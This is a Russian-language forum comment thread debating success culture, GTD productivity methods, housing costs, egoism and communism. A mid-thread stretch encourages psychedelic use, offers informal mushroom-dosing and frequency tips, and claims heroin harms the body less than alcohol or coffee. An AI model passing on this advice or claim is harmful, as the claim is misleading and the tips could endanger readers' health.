Раньше был анти-автомобилистом пока не родился ребёнок. Хорошо если садик, больничка, кружки находятся рядом с домом. Но возить малыша общественным транспортом — приятного мало. В результате был куплен автомобиль. Теперь не представляю как же я раньше без него обходился. К хорошему быстро привыкаешь.
Вообщем надо что бы доходов всегда хватало на все расходы.
licvidator
Купи дом рядом с садиком, школой и больницей.
Rsolars
пошарил в карманах и купил) юмор. понимаю.
либо у Вас очень много денег, либо не было взаимоотношений с садиками и школами -)
idkfa
Я имел ввиду найди удобное для ЖИЗНИ жилье, а не чтобы мучаться всю жизнь.
stas_agarkov
Такого места для дома может не найтись. Гораздо вернее купить садик, школу и больницу рядом с домом.
MDie
>любите рыбалку — зачем вам машина…

Да. Вокруг меня полно озёр в 15-ти минутах ходьбы.
Стоит машина у родителей, думают продать. Я не взял её. И поверьте, если мне она будет нужна (например добираться до работы) — сейчас приобрести её не проблема. Я же не про новую иномарку говорю за 500-800…
Такси у нас по городу — 30 рублей. Тридцать! Это если куда срочно доехать надо.

Мне действительно вождение не доставляет удовольствие, и автомобиль для меня — средство передвижения, в котором пока нет необходимости.
stas_agarkov
Да и разговор не об этом. Весь смысл — зачем рвать задницу, если тебе это не нужно / не интересно? Что-то доказать другим?
dukei
А у меня есть деньги на машину, но всё равно не куплю. Ибо портить воздух и тратить деньги на то, чтобы тратить здоровье и время — это, простите за выражение, полный маразм. Пробки же в больших городах сейчас такие, что пешком быстрее добираться. Я бы вот и добирался, если бы не грязный воздух. А так приходится выбирать общественный транспорт, что тоже не плохо — можно книжки почитать, поработать.
ploop
Я автовладелец и автолюбитель, люблю машины, но мне она реально не нужна. Я люблю прогуляться (тем более 45 минут ходьбы до работы от дома). Единственный момент когда рад личному авто — дождливая погода, а в остальном — дополнительные расходы, обслуживание… в общем, кушает иногда моё время.
ploop
Правильно, не нужно идти на поводу у толпы, покупать модные, но ненужные вещи. Вот купил бы ты автомобиль, а потом вечно бы с ним проблемы были, то в ДТП попал, то сломалась машина, то штраф выписали — а всё потому что не твоё это. Я рад, что есть люди, которые знают, что им не нужно водить машину, идти в бизнес, готовить еду и т.д. и они это не делают, уступая дорогу профи, которые любят своё дело. Все бизнесменами не станут, должны быть и рабочие. Точно также все водителями не станут. Просто у нас в стране специфика такая, что общественный транспорт — это толкучка, грязь, плохое техническое состояние, неоптимальные графики движения. А также пережиток голодных 90-ых годов — это показать всем, что ты успешен и у тебя крутая тачка. Всё это и создает стереотип, что без машины ты никто.
mikhanoid
… куплю луче вычислительный кластер.
by25
Вот на прошлой неделе такая же история была и у меня. Купил я для конторы аутсорсинг печати. Ну, договор, в котором мы платим за трафик отпечатанных страниц, а расходка/ремонты/ТО — «бесплатно». Скрипит у нас 5550, инженеры приехали — чешут в затылке. Пригнали самого умного — тоже чешет. Сказали: пришлём мега-спеца, он поможет.

Приезжает. Подходит. Слушает 1 сек. Говорит: «печка запасная есть?». Тащим со склада. Меняет. Скрип исчезает. Оказывается, его наняли на день на сложные случаи прямо в НР. Говорю: «а у вас нет ИП, я бы на следующий год сервис вам отдал». Он машет руками и с нажимом говорит: «Я. Люблю. Свою. Работу. Бизнес и всякие бумаги — не по мне. Погладил принтер и пошел насвистывая что-то себе под нос.

Счастливые люди есть.
Hoorsh
Пора уже удалить поток GTD.
ShouldNotSeeMe
Да не, просто переименовать, думаю, стоит.
dikud
Поддерживаю. И автору поста спасибо. Надоело это: ударься головой о стену и тебя осенит идея. А если ты это будешь делать ежедневно, то идеи будут качественнее, а если ты еще и будешь использовать специальное приложение на смартфоне, которое будет помогать тебе выбирать тебе наиболее благоприятное время с точки зрения биоритма для бития головой о стену, ты станешь сертифицированным стеноголовом и сможешь публиковать об этом материалы на Хабре/жжешчке и прочая.
yateam
А может быть пора уже удалить Хабр?
ServengeR
… на пару дней. А потом восстановить из бекапа и написать об этом статью.
ktulhu
На мой взгляд правильные мысли и очень хорошо изложены. Пока читал, отвлекся от своей ежедневной суеты, гонки, и т.п.
VovixLDR
Все верно сказано, почему то GTD-методики постоянно пытаются применить не выбрав цели, а зачастую и подменить ими цель.
SkazochNik
А ещё бывает, что человек, не сумев определить свои собственные цели, берет себе чужие, и пытается их достичь. Даже если вдруг он успешно достигнет таких чужих целей, то удовлетворения обычно не получает, так как цель не своя, она чужая. И пошло поехало — стресс, стресс, стресс. И снова чужие цели.
SergiuZZZ
прямо цитата из Трансёрфинга реальности, Зеланда)
unconnected
Спасибо что напомнили. Рекомендовали когда-то прочитать, но забыл. Теперь запишу)
Tred
обращайтесь)
DenimTornado
А что по вашему лучше — не иметь цели вообще или добиваться чужой?
cybd
Не могу ответить на этот вопрос, потому что считаю его некорректным — я не могу себе представить «бесцельное» существование. Если вообще нет цели — то целью может быть сам поиск цели. Но, допускаю, добиваться чужой цели может быть полезно (на каком-то этапе), чтобы хотя бы выяснить для себя — своя это цель или чужая. Думаю, никакого вреда в этом не будет. А вот когда точно ясно, что цели чужие, но вместо того чтобы искать для себя более близкие задачи продолжать следовать чужому пути — это до добра не доведет. Вот, кстати, могу привести пример. Девушка из семьи врачей. Родители — «ты будешь врачем». А она сама хочет быть художником. Родители уперлись — мединститут и все, никакой художки. Так вот она сначала закончила медвуз, а потом художественное училище, и счастлива. А вот если бы она пошла работать врачем — ну кому от этого стало бы лучше?
DenimTornado
Если ты добиваешься чужой, ты потратишь кучу времени, поймёшь, что это тебе не нужно и только потом придёшь к состоянию «нет цели»
VolCh
Браво.

Я бы ещё сделал добавление. Написанное — это не путь отказа от успешности, скорее — это «нулевой» шаг к успешности истинной. Остановиться, успокоиться, собраться с мыслями и понять, что тебе нужно, чтобы потом спокойно, в своём ритме двигаться к этой цели. Без этого жизнь превращается в череду неврозов, разочарований и так обсуждаемой здесь прокрастинации.
Tred
Воистину.

Как всё-таки иногда жаль, что человек — существо социальное. Насмотрятся-наслушаются других, а потом на себя примеряют. И носятся всю жизнь за эфемерным «успехом» с несчастным лицом. Потому что «так надо!».
Suor
«У вас уютная, пусть и двухкомнатная квартира, которую оставил вам дедушка и вы не зарабатывали на нее 5 лет, ну и пусть.» С моей з/п и 50 лет не хватит…
Julianus
Попробуйте хотеть квартиру попроще.
stalkers
Или зарабатывать больше. Но в топике с таким заголовком ваше вариант уместней, конечно)
drzerg
Не знаю как где, но простенькая квартира в Питере 1,5 млн, средняя зарплата меньше 30к. 50+месяцев не есть, жить на улице и т. д. По 10к откладывать — 150 месяцев без учета инфляции и дорожающего жилья.
intnzy
Набраться опыта, найти работу там, где цены на жилье и зарплату адекватные, переехать. Не?
Die_Gelassenheit
Вроде цены на жильё и зарплаты прямо коррелируют, Зависимость чуть ли не линейная.
VolCh
В Питере простенькая квартира стоит полтора миллиона? Серьезно? Насколько простенькая?
g3ar
Серьезно. Самая простенькая, однокомнатная
VolCh
Круто :) У нас в Иркутске едва ли не дороже выходит.
cepera_ang
Ну, у нас это минимум (=
PVoLan
Ключевая фраза «без учета инфляции и дорожающего жилья». 150 месяцев — это 12.5 лет (!). Обернитесь назад, вспомните цены на ту же простенькую квартиру 12.5 лет назад — прикиньте разницу, скорректируйте поставленный вами срок, потом снова пересчитайте. При озвученном раскладе копить, увы, абсолютно бессмысленно.

Я сам взял ипотеку год назад. За год в абсолютной сумме выплатил более 25% кредита (хотя из-за процентов получилось что выплатил всего 10% — и то чудом, экономил на всем чем только можно). Казалось бы — копи 4 года и будет счастье? Но за год квартира подорожала на бОльшую сумму, чем я заплатил за прошедший год в целом, а значит если б я копил, то ее покупка стала бы для меня еще более недостижимой, чем год назад.

Так что, выходит, либо дедушка — и тогда можно позволить себе и порасслабляться, либо пахать…
cepera_ang
Можно переехать в пригород.
Там и жилье дешевле, и воздух чище. IT-шникам в этом смысле проще, чем другим специалистам — можно работать удаленно. Там тихо и спокойно — ночью не мешает шум машин.
А летом можно жарить шашлыки во дворе или налить мини-бассейн.
Нет проблем с парковкой — можно держать машину во двору или построить гараж.

Несколько моих знакомых так и сделали — очень довольны.
PVoLan
у меня квартира в городе в спальном районе — тишина
а дом в поселке на оживленной улице: шумнее, чем в городе бывает по утрам!
leenq
да, многим достаточно валяться на диване с бутылкой пива, это не новость

есть две крайности. первая: «мне уже 20, а я все еще не Павел Дуров». вторая: «клал я на карьеру и успех, главное, с начальник не приставал и телевизор работал». первая бессмысленная, вторая — омерзительная. но тоже вполне понятная

т.е. прекрасно понимаю, что хотел сказать автор, но между строк мне почему-то видится «будьте довольны тем, что у вас есть». но мир двигают люди, которые хотят чего-то большего. к кому из них принадлежите вы — действительно, решать вам.
mentatxx
Суть в том, что настоящих «двигателей мира» — единицы. Все остальные «гонщики» — хомячки бегущие в своих колесиках. Просаживающие свои жизни гонке за несбыточным и ненужным.
stas_agarkov
да, но ведь ты так и не узнаешь, сможешь ли изменить мир, если не попробуешь :)
Kuprianov
Хочешь изменить мир — начни с себя, потом подумай, нужны ли миру твои изменения, а потом уже пробуй :)
intnzy
Для изменения мира есть масса точек приложения. Мне показалось, что посыл поста — не толпиться, пыхтя и обливаясь потом, около какой-то особо популярной/известной/выгодной точки, а найти ту саму «свою», чтобы спокойно и со вкусом менять мир в своё удовольствие в интересном лично тебе направлении.
Kuprianov
На мой взгляд, абсолютно у каждого есть такая область, в которой он может «двигать мир». Только не все ее ищут. Если у человека нет мотивации, значит, просто тема не его. Надо пробовать снова и снова. И эти самые, как вы говорите, «хомячки» могли бы стать по-настоящему счастливыми, если бы озаботились поиском своего настоящего предназначения.
EGlaz
Не, че, все правильно… Вся эта фигня на тему «мотивации», «успеха», «неудачников» и т.п. — чисто американская. Тысячу раз везде было говорено, что темы успешности — больные для американцев. И точно также все знают откуда это идет — от американского христианского протестантизма, уровень прагматизма которого зашкаливает: «Бог любит только успешных, неудачники попадут в ад!» Для русского (и не только) менталитета это не то чтобы несвойственно, а прямо противоположно всей нашей морали. Для нас «успех» не является вещью в себе, а может быть только ступенькой для достижения более глобальной цели. Какой именно? Это-то как раз индивидуально и вообще — вопросы «о смысле жизни» провоцируют, как совершенно точно отмечено в посте, на принятие доз алкоголя. ;-)
Проблема современного человека именно в том, что глобальные цели, которые были раньше, смысла больше не имеют, а мелкие цели (типа вышеупомянутых), которые нам активно внедряют, плохо на душу ложаться. Вот и маются все…
Julianus
Полностью согласен. Вся эта гонка за успехом («быть в форме», «принять вызов», «быть номером 1», и т.п.) скорее характерна для протестантской культуры. Есть некоторые современные работы по биологии, антропологии и социальной психологии, где прямым текстом написано — кооперация позволяет получать лучший результат чем конкуренция. Наша культура была ориентирована на кооперацию («сделаем всем миром») пока не начали насаждать подобные чуждые нашей ментальности идеалы.
yeg
Да-да-да! Про кооперацию я и забыл! Из поверхностного — меня всегда в шок ввергали эти их передачи типа «Слабое звено», где герои с одной стороны «команда» и движутся вместе к общей цели, а с другой перманентно друг друга прессуют и выкидывают тех, кто «лох и неудачник». :-)
sky_lord
[sarcasm]Крупнейший экономист и психолог[/sarcasm] XVIII века Адам Смит считал что движущей силой является эгоизм.
Естественный порядок в представлении Смита — это рыночные отношения, в которых каждый человек основывает своё поведение на личных и корыстных интересах, сумма которых и образует интересы общества. В представлении Смита, такой порядок обеспечивает богатство, благополучие и развитие как отдельного человека, так и общества в целом.
С тех пор и расхлебываем.
Tred
Движет ли мной эгоизм? Конечно :) Всё что угодно может являться доказательством эгоизма, при гибком подходе. Парень дарит девушке цветы чтобы вечером получить секс. Подарки на день рождения делаются чтобы получить потом подарок в обратку и не прослыть жадиной. Ребенка надо воспитывать чтобы он потом нас престарелых не бросил. Герои жертвуют собой чтобы прославиться. Увидев человека в беде мы помогаем из чистого эгоизма — чтобы потом помогли нам. Изучаем новое чтобы получать больше денег. Пишем топики и комментарии чтобы получить внимание от окружающих. Занимаемся спортом чтобы выгодно выглядеть. Даже не знаю что добавить — вокруг всё приводится в движение эгоизмом ))
sky_lord
Был фильм — Игры Разума — там главный нерой Джон Нэш со своими приятелями об этом же говорили… Джон Нэш доказал, что Адам Смит не прав на примере блондинки)

Суть в том, что если каждый будет наступать друг-другу на горло, то это приведет грызне и блондика не достанется никому. Другие девочки не захотят иметь уже дело со всеми, поскольку выбор первый пал не на них… в итоге все в проигрыше.

Tred
все чуть глубже. Помогая человеку — можно ведь помочь ему чтобы получить удовлетворение, чтобы похвалить самому себя, чтобы те запрограммированные родителями модели поведения вызвали приток сил и положительных эмоций. Вывод — эгоизм.

Дарить подарки — можно потому, что радуешься как кому-то стало приятно. Тоже эгоизм.
Правда с таким подходом абсолютно все поступки сводятся с эгоизму и термин полностью теряет смысл.
Tred
Правда с таким подходом абсолютно все поступки сводятся с эгоизму и термин полностью теряет смысл.

Именно!
contor
Смит был не прав, даже если нами движет эгоизм. столько из-за него говна в мире. вся эта экономическая система столько голода и войн, и разрухи, и смертей принесла. Поверьте — земных ресурсов хватило бы на все население планеты с избытком, если б не перераспределять одному на кусок (хлеба/денег/жилья/отдыха) миллиард больше, а миллиарду на один меньше. Коммунизм это здорово.
bogolt
Коммунизм — это здорово в идеальном обществе в вакууме. В обществе, где каждый добросовестно относится к своей работе и честно отностится к окружающим. В наших же реалиях коммунизм — оплот лодырей-бездельников, где балбес и лодырь ставится на одну ступень(социальную и материальную) с молодцом трудягой и из-за этого не лодырь умнеет и начинает нормально работать, а у трудяги опускаются руки. Уже пробовали. Утопия.
Tred
Утопия гуд!) Но я не говорю заметьте о «всем поровну». Я говорю о том, что сегодня можно не быть лодырем и все-равно не избежать этой финансовой системы. Без нее — не лодырь пошел нарубил себе лес, посторил дом. С ней — нужна лицензия на вырубку, иначе предприниматели вырубят ради бизнеса. По итогу предприниматели ради бизнеса приобретают лицензии, а не лодырь дом, по завышенной цене. Абстрактный образ, схема для пояснения, я не знаю, как на практике реализована вырубка леса :)
Спекуляция — это плохо. И она имеет смысл только в условиях финансовой системы. Плюс многие люди забыли про СОБСТВЕННЫЕ ценности и счастье и убили себя ради мифиеского успеха. В отсутствии экономической системы, предпологающей развитие корпораций и термина такого не родится. Каждый уже успешен от рождения, уже реализован, уже счастлив. А потом начинается долгая работа общественных институтов по промывке мозга человеку. Война, говнополитика, коррупция, воровство — все это следствие экономической системы. Скажете без нее у вас могли бы вороваать еду? Едой бы вы итак с голодным поделились — благо не последняя. Не буду продолжать — уже эссе) Если врубаетесь — достаточно текста, чтоб задуматься и врубиться. Если нет — не задумаетесь и от большего.
LeKot
Почитайте Маркса, Энгельса, Ленина, Цзедуна. И «кровожадного» Сталина не забудьте.

Уверен, что вы не побежите после моего совета читать труды всех этих людей. Но если когда-нибудь прочитаете — никогда не произнесёте слово «утопия» в тот же адрес.
g3ar
Так тот же Маркс очень хорошо описал косяки капитализма, но что с этим делать — где рецепт? Коммунизм реально не работает — нет способов убрать плохих людей из системы. Когда в ней появляется избыток и достаток, всегда находятся те, кто хочет это всё себе присвоить: люди не идеальны, мужчины в любом случае будут стараться выпендриться перед женщинами, используя своё положение. А женщинам нужны ресурсы и защита для детей, поэтому, выигрывает тот, у кого этих ресурсов больше — капитализм снова. Это всё инстинктивно. Вроде, Замятин писал об этом в Мы: введите розовые билетики и коммунизм настанет. Но кто ж такое вытерпит?
LeKot
Так кооперация это крайняя форма эгоизма :) Делаем вместе то, что вместе делать выгоднее каждому из нас, чем по одиночке.
caferman
Наша культура была ориентирована на кооперацию лишь из-за «нашей» религии. В кооперации хорошо, когда у всех всего примерно поровну и цель вполне осязаема. Но даже в этой кооперации всегда найдется «отличник» и «двоечник» и будет легкий, может даже незаметный, но перекос. Другое дело, когда у тебя есть уже что-то за душой и есть цели, и, соответственно, ресурсы эти цели достигать. Попробуй тут скооперируйся с такими же… получится не кооперация, а максимум взаимовыгодное сотрудничество. Ибо ты уже не позволишь за счет своих ресурсов другому достигать своих целей. Думаете, почему у нас так яро с кулаками боролись? Потому что им не до коопераций было.

Совсем другое дело — твоя семья. Вот тут да, тут должна быть кооперация. Особенно здорово, когда семья большая.
mikhanoid
«Совсем другое дело — твоя семья. Вот тут да, тут должна быть кооперация. Особенно здорово, когда семья большая. » Так почему же по семейному принципу не организоваться например целой стране?
VolCh
Это филосовский вопрос, по-моему. Вот попробуйте по этому принципу организоваться с теми, кто по мусорным бакам еду и банки алюминевые ищет. Это крайность, конечно, но все же.
Думаю, такое возможно только перед большой угрозой, типа мировой войны, или в экстремальной ситуации.
mgrach
Читал книгу Агрессия Конрада Лоренца. Где с примерами показывается, что агрессия — часть эволюционного процесса, которая способствует выживанию вида. Но у него есть также примеры бессмысленной «гонки вооружений», которая наоборот ухудшает положение вида и даже может привести к исчезновению. Так и в бизнесе и человеческих отношениях: конкуренция и стремление к успеху это обычно хорошо, они позволяют «расти» всему человечеству, но есть также сферы в которых конкуренция приводит только к бессмысленным тратам и ухудшает общее состояние вида.
vad78
Проблема современного человека в том, что слишком часто проблемы приходится придумывать, а без проблем человек существовать не может.
mgrach
А я думал, что это я такой неправильный. Пост однозначно в закладки. Многое из того, что написано, я пытался объяснить своим знакомым, но к сожалению не очень удачно.
GraDea
Готов подписаться под каждым словом. Примерно к таким же выводам пришел сам некоторое время назад.

www.youtube.com/watch?v=HI6lcsl0Ssw
oogl
Нас обманывают, пытаются заставить жить по законам, которые чужды обычному живому человеку. Нам прививают привычку жить по расписанию, по строгим планам, идти всегда вперед.


Дауншифтеры давно уже просекли эту фишку — Жить нужно в кайф.
endymion
В том-то и дело, кайф для каждого свой.

Например, для некоторых программистов — кайф в самом процессе программирования, разработки, создания собственной программки / повышения ее производительности / рефакторинге /…. Точно так же, для дауншифтеров — кайф в дауншифтинге, для бизнесменов — свой бизнес, для туристов — путешествия. И каждый для себя сам должен определить, что для него в кайф.
stboris
Вот например, я тут nagios настраиваю — и мне это вполне в кайф. Круть крутью, чувствуешь себя как на капитанском мостике — и в то же время это входит в мои должностные обязанности.
intnzy
Даже не дочитал. Просто пошел делать.
sainnr
Автор — молодец! Всё правильно! Поддерживаю!
bear11
Статья хорошая, но для той целевой аудитории (люди, которые постоянно чем-то заняты) слишком длинная и водянистая, на мой взгляд.
5etroff
Те «кто постоянно чем-то занят» умеют очень быстро и много читать. ;)
onix74
А что делать, если я на самом деле один из тех, кто перевернёт этот мир?
Если мне нравится просыпаться в 6 утра, работать с 9 до 21, а вечером обнимать любимую жену и быть абсолютно счастливым. Если те законы, которые вы называете чуждыми, мне близки и приятны?
klz
Тогда нам остаётся только порадоваться вам и вашим успехам, если вы находитесь в состоянии гармонии с самим собой и окружающими вас обстоятельствами.
grischenko
Эта статья не для тех, у кого есть мотивация. У вас она — есть.

Что делать? Да делать то, что вам нравится :) Соответственно просыпаться в 6, работать с 9 до 21 и вечером обнимать любимую жену) Вам чего то разве не хватает?)
grischenko
> Эта статья не для тех, у кого есть мотивация. У вас она — есть.

В таком случае статья попахивает «обществом анонимных алкоголиков неудачников».
Говорят, такие общества очень даже полезны, так что в моих словах нет ни капли иронии или насмешки.
Просто, не совсем понятно, почему алкоголики неудачники читают GTD.
Manitou
А кому же ещё их читать? Те, у кого мотивация есть, нет проблем с тайм менеджментом. Так что это как раз для «алко… неудачников», как вы снисходительно называете оных.
Evengard
Вы статью прочитали, но ничегошеньки не поняли.
grischenko
Evengard
смотреть осенние тайтлы аниме и выпуски манги? :)
g3ar
Аминь.
Mithgol
Меня замучила идея: «кто я такой, куда я мчусь и где я?» © Lumen
vtx
Если тебе около 20, то это нормально.
zodchiy
Книга «Жизнь на полную мощность» от Манн-Иванов-Фербер об этом-же. Дело не в постоянной работе, а в балансе работы-отдыха. В отдыхе и безделии много пользы, как они утверждают.
FiW
Курите траву, жрите кислоту!
chelovekdimka
Хороший совет же.

Многие как раз начинают думать по-своему после приема ПАВ. Доступный способ понять насколько все зависит от твоего сознания.
oyster
В этом деле, как и везде, важно не переборщить (:
Я бы не рекомендовал, к примеру, покуривать чаще трёх-четырёх раз в год, дабы не навредить своей психике. Да и вообще, сначала лучше послушать подкасты одного психиатра на тему ПАВ, а уже потом принимать решение.
Dmitry_f
Любители пива недовольны коментом))) Ребята — это научный факт. Алкоголь, табак и кофе вредно действуют на ваш организм. Даже героин меньше разрушает тело, другое дело, что через полтора месяца плотного употребления он замещает часть белков в обмене веществ. Лучше читать научные исследования с выборками, замерами и прочим, чем подкасты слушать :)
ega
плюсую. «Всем бы этим зомби по 50 грибов, чтобы проснулись»
ardentum
От пятидесяти-то и приставиться можно (:
burjui
Видимо, наш экспириенс значительно отличаеться (:
LeKot
Вероятно бэд-трип у вас просто случился. Ну бывает, это же страхи, комплексы, они оголяются и лезут) Можно в личке обсудить ваш экспириенс, если желаете))
То, что вас подташнивало при трансформации — не значит, что вы сейчас кони двинете или типо того)) 1) это чувство одинаковое на 10 и на 50 и на 70 ) 2) это временное 3) не ешьте свежих, ешьте подсушенных))
ну и избегая людных мест, не чаще раза в две недели и всякая другая техника безопасности))
LeKot
Очень дельный взгляд на вещи — всё наше счастье или несчастье находится у нас в голове. Это наше ощущение мира. Не бойтесь сесть и просто подумать, остановиться, передохнуть. Я не против четкого и быстрого ритма жизни, но не забывайте в этой суматохе про себя, собственные цели и ценности.

Есть очень классная книга «Уравнение счастья» (Манфред Кетс де Врис). Выделите немного времени — прочитайте, и поймете, что можно быть счастливым, не имея пресловутого «усеха» или богатства.

Будьте счастливы, радуйтесь тому, что вас окружает и любите? главное любите :)
LeKot
Успешным надо быть, стремиться к этому. Тут не может быть других вариантов.
И, кстати, да. Я не смотрю телевизор уже 6 лет. Последние 5 лет для меня каждый успешнее предыдущего. Самообразование, целенаправленность, ценности того или иного плана — мой выбор.
mgrach
Вы не допускаете варианта, что для кого то эта успешность просто… не нужна?
LeKot
даже не для «кого-то», а для 90% населения земного шара предел мечтаний — ходить на работу недалеко от дома, раскладывать там пасьянс за компьютером, и чтобы босс не приставал — а затем идти домой и усаживаться перед ящиком. так и есть, да
mgrach
я не понял, что этим 90% мешает делать это прямо сейчас?
Их счастье прямо у них в руках, для этого даже делать особо ничего не надо, этим людям несказанно повезло в жизни!

или существование GTD мешает им при этом всем чувствовать себя счастливыми?

зачем для этих 90% писать мол ребята, вы не переживайте, возьмите еще пивка, все хорошо у вас… за счет «три» вы проснетесь и будете счастливы…

LeKot
Нет такой работы недалеко от дома, приходится переться на другой конец города и работу работать под контролем, минимум, строгого начальника?
LunaRain
работа дворника прямо под домом, никуда ехать не надо
и 95% времени над вами не будет никакого начальства

вышел, помахал метлой и домой смотреть телек и раскладывать пасьянс, больше ж ничего для счастья не надо, я правильно понял?
borisrodionov
Допускаю, и у меня вокруг много отличных примеров такого подхода к жизни. Поэтому я выбрал другой путь, плюс настаиваю на нём.
z0r
имхо лейтмотив статьи — «как научиться довольствоваться имеющимся».

это хорошая мысль — ценить имеющееся, но довольствоваться им — не лучший вариант.
Evengard
По-моему — это огромная проблема нашего (западного) общества. С детства детей готовят к большой карьере, ждут от них гениальных способностей, больших зарплат, небывалых успехов в точных науках, и прочее-прочее. С детства готовят к роли успешного представителя общества. Кому-то удается оправдать (изначально ведь ни на чем не основанные!) надежды родителей, но многие в 20 понимают, что они совсем не то, чего от них ждали, и хуже того — не знают чего, собственно, хотят сами.

Растить надо не успешных людей, а счастливых. Желать детям надо не богатства и яхт, а наслаждения жизнью. Пусть уж каждый сам решит что для него есть это наслаждение.
Kuprianov
Это навязывание чужих желаний. Для того чтобы понять что тебе нужно, нужно понять что это не твое желание, а потом уже найти свое.
olegich
Пример Американская мечта, после ее достижения человек понимает что от нее нет радости и счастья, она ему не нужна.
VolCh
Давно ждал такую статью!
Всё должно быть в меру и с удовольствием. Нельзя мотивировать себя прочитать мотивирующую книгу.
olegich
Вообще лень страшная сила. И пока можешь себя обмануть и ее, можешь случайно сделать что-то стоящее. ))
z0r
Джейлбрейкнуть бы лень, чтобы иметь возможность включать и выключать её по собственному желанию…
streicher
Негр под пальмой на родине лежит млеет. Мимо проходит бизнесмен из Европы.
— Вот ты негр, лежишь бездельничаешь, а мог бы на пальму залезть, нарвать бананов. Пойти на рынок и продать.
— А зачем?
— Ну как зачем! На деньги с проданного, купишь тележку и нарвёшь на много больше!
— А зачем?
— Да ты с проданного уже сможешь купить грузовик и возить большие обьёмы, потом наймешь работников, а сам будешь лежать и ничего не делать!
— А я и так лежу и ничего не делаю!
ardentum
Но разница-то есть. Лично для меня это отношение к себе. Лежать под пальмой и знать что да, ты смог успешно создать свое дело это совсем не то же самое что просто лежать под пальмой потому что это проще и не надо ничего делать. То же самое с дауншифтингом. Одно дело когда ты уже многого добился и можешь выбирать такую жизнь как тебе нравится и совсем другое — когда ты и не пытался.
И если я проживу жизнь как хомячок с пивом и телевизором то я себя уважать не буду.
Artreaspekt
«Все пути никуда не ведут, но у одного есть сердце, а у другого — нет. Один путь доставляет радость, и пока ты идешь по нему — ты неотделим от него; а другой путь заставляет тебя проклинать всю свою жизнь. Один путь наделяет тебя силой, другой — лишает ее.» Карлос Кастанеда.
rvision
Ага, соглашусь на 100%, живи умом — выбирай сердцем.
rvision
Первая часть поста сильно напомнила «Мой двойник — робот» Роберта Шекли.
Artreaspekt
«Когда ты молод и смотришь телевизор, то думаешь, что телекомпании сговорились и хотят сделать людей тупыми. Но потом ты взрослеешь и приходит понимание: люди сами этого хотят. И это гораздо более пугающая мысль». © Стив Джобс :(
rvision
Как насчет того, что людям стимулируют хотелки?
lightman
Общество потребления строят :)
Скоро их уже вшивать пытаться будут.
baldahin
В мозг, до 2025, согласно приказу РФ до 2025года.
Всем быть! На мероприятии будут бесплатные напитки и бутерброды :-)
Belikov
«Я думаю, что для очень многих, может быть даже для всех, успех = деньги. Деньги по сути — единица власти. Чем ближе к власти, тем больше ты «не для себя», но тем больше всего у тебя есть.»

Моё мнение, что деньги — это не единица власти. Для меня, и я не думаю что я одинок, деньги — это единица свободы.
rvision
Имхо — свобода и власть очень близкие понятия, но фраза — я мечтаю о свободе, звучит лучше чем — я мечтаю о власти. Примеры: свобода передвижения — можеш приказать кому-то или чему-то завезти тебя туда куда ты хочешь; свобода обладания — можешь попросить/приказать доставить эту вещь/человека себе домой.

Для меня деньги кстати также единица свободы. Нет денег — нет власти/свободы даже над своей жизнью.

ПС: Фримен — религия денег.
MikaMikuMik
Свобода (!=) власть. Это абсолютно разные понятия. И их прост невозможно смешивать.
zenon
Разве власть это не свобода заставлять людей делать то, что ты хочешь, даже если они этого не хотят?
Kobs
достаточно вырваться с мегаполиса — и не противиться желанию провести пару выходных вдали от всего просто путешествуя без цели ) становиться легче, но жаль не надолго. сменил 3-4млн город на городок в 170 тыщ. хочется в еще меньший… работа — дом 800метров. могу высмотреть 16 часов сериалов за 3 суток если хочется после работы вместо того чтобы «читать, развиваться» — потом поутру удивительно код пишеться и прекрасно проектируется

только теперь все дальше на выходные уезжать хочется — ниче не могу поделать )))
sancheys
так и сделал
Valery35
И где вы? Где вам хорошо?
sancheys
пока еще не там — но мне нравиться ЮгоВосточная Азия, а так в профиле написано
akick
2-3 часа в день для серьезных занятий музыкой маловато.
ggempire
Читал ваш комментарий и мне казалось, что это писал я сам — насколько близкие оказались ощущения.
akick
Единственная вменяемая статья на данную тему.
VolCh
Спасибо, что поправили меня, dmomen!
Конечно же, единственная, которую видели мы!
vtx
Как надоели эти тематические статьи о повышении результативности, мотивации и прочей чепухе. Зачем люди их пишут? Чтобы помочь тем, кто запутался в себе? Для тех, кому тяжело сосредоточиться? Вряд-ли это так.


На этом стоило закончить. Чес слово одно и тоже изо дня в день… что вы сообщили того что не было сказано до вас? :(
vtx
Мотивации вообще нет :) есть желание, если человек противоречит сам своим желаниям кто ему доктор.
жил был человек, сам виноват… :)
mgrach
Повторение — мать учения. Об этом писать надо много и регулярно. Если смотреть масштабно, то в мире давно все сказано еще до нашего рождения.
vtx
Повторение чего?..
Если я вам буду говорить что вы например летать умеете или вы миллионер или у вас есть машина, что у вас в жизни поменяется?.. :( ну а если вы за это еще и платить будете? :)
skorm
Автор — молодец. Я вот хотел тоже написать один-в-один такую же статью, но побоялся, что меня примут за лентяя и раздолбая, что, конечно, же так и есть, но вообще это клевета и к делу не относится. :)
DizelGenerator
То есть за человека примут? :)
lfway
В последнее время всё больше речей про внутреннюю гармонию взамен роботоподобной продуктивности с фальшивыми целями. И это хорошо.
dmomen
Мне кажется, автор в этой статье атакует соломенное чучело (http://en.wikipedia.org/wiki/Straw_man). Мы все, в принципе, живем в мире таких вот призраков и стереотипов об окружающих. В частности, некоторые устойчиво путают настоящую эффективность и мнимую, реальный успех и его видимость в стереотипном мире. В данном случае автор выбрал для атаки давно уже находящийся не в почете на том самом Западе призрак трудоголизма, и пытается переводить стрелки на инструменты, созданные в общем-то совсем для другого.

И GTD, и другие способы апгрейда человека, то есть усиления интеллекта, повышения личной эффективности и качества жизни и т. д., созданы и создаются совершенно для другого, нежели сделать трудоголика еще большим трудоголиком и выжать как лимон. Это все равно как если бы вместо автомобилей в свое время пытались совершенствовать кареты и другие средства заставить лошадей бежать быстрее. Трудоголизм — это отстой, критикуемый на том же Западе гораздо давнее, чем у нас (офисная культура «менеджеров» там устоялась еще в 1950-х). GTD, а особенно — созданный на ее основе через третьи руки сомнительный бизнес-тренинг с МЛМ-душком, в руках трудоголика (как и любого другого -голика и -мана) — инструмент не апгрейда, а даунгрейда, ибо суть развития человека заключается не просто в том, чтобы, забивая руками 20 болванок, начать забивать теми же руками 30; количественные изменения должны переходить в качественные.

Человек, по-настоящему грамотно внедривший GTD, должен ощутить:

— увеличение количества свободного времени;

— нарастающее стремление использовать это время на более осмысленные и разнообразные занятия;

— повышение качества, скорости и уровня мышления;

— повышение качества общения;

— долгосрочное улучшение состояния здоровья и физических возможностей;

— то, как построенная им система (от бизнеса до автоматизации простейших задач) работает все эффективнее и все меньше требует его внимания для поддержки.

